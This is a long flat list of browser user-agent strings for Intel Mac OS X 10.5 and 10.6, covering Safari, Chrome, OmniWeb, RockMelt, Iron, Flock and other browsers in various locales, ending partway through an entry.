Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) NetNewsWire/3.1.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/528.16+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/530.18+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.192 Safari/531.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.18 (KHTML, like Gecko) Version/4.0 Safari/528.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.1 Safari/530.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/4.0.1 Safari/530.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; fr-fr) AppleWebKit/528.18.1 (KHTML, like Gecko) Version/4.0 Safari/528.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.422.0 Safari/534.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.3 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; es-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fi-fi) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; hu-hu) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; nl-nl) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-cn) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; zh-tw) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-gb) AppleWebKit/530.1 (KHTML, like Gecko) Version/4.0 Safari/530.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/530.1 (KHTML, like Gecko) Version/4.0 Safari/530.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/530.3 (KHTML, like Gecko) Version/4.0 Safari/530.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit/530.6+ (KHTML, like Gecko) Version/4.0 Safari/530.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.4 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.1 Safari/532.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.11 Safari/532.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-us) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.86 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/531.9 (KHTML, like Gecko) Fluid/0.9.6 Safari/531.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Fluid/0.9.6 Safari/532.3+ Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_1; nl-nl) AppleWebKit/532.3+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-de) AppleWebKit/531.21.8 (KHTML, like Gecko) NetNewsWire/3.2.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/531.21.8+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.11.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.343.0 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.70 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Shiira Safari/125 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nb-no) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC-P715a; en-ca) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) NetNewsWire/3.2.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/531.9+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.10.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.363.0 Safari/533.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.0 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.456.0 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.0.13.81_10003810) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit/531.22.7 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.7 Safari/533.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.414.0 Safari/534.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.210 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.46.126 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.0 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.451.0 Safari/534.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; fr-FR) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; ha) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.445.436.1326 Chrome/12.0.632.107 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; th-th) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.639.0 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.0.4568 Chrome/7.0.517.440 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.79 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.51 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.459 Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.518 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.660.0 Safari/534.18 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.3.4628 Chrome/7.0.517.450 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.74 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; sv-se) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/531.21.8+(KHTML, like Gecko, Safari/528.16) Version/5.10.3 OmniWeb/622.14.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Iron/9.0.600.2 Chrome/9.0.600.2 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.59 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.459 Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 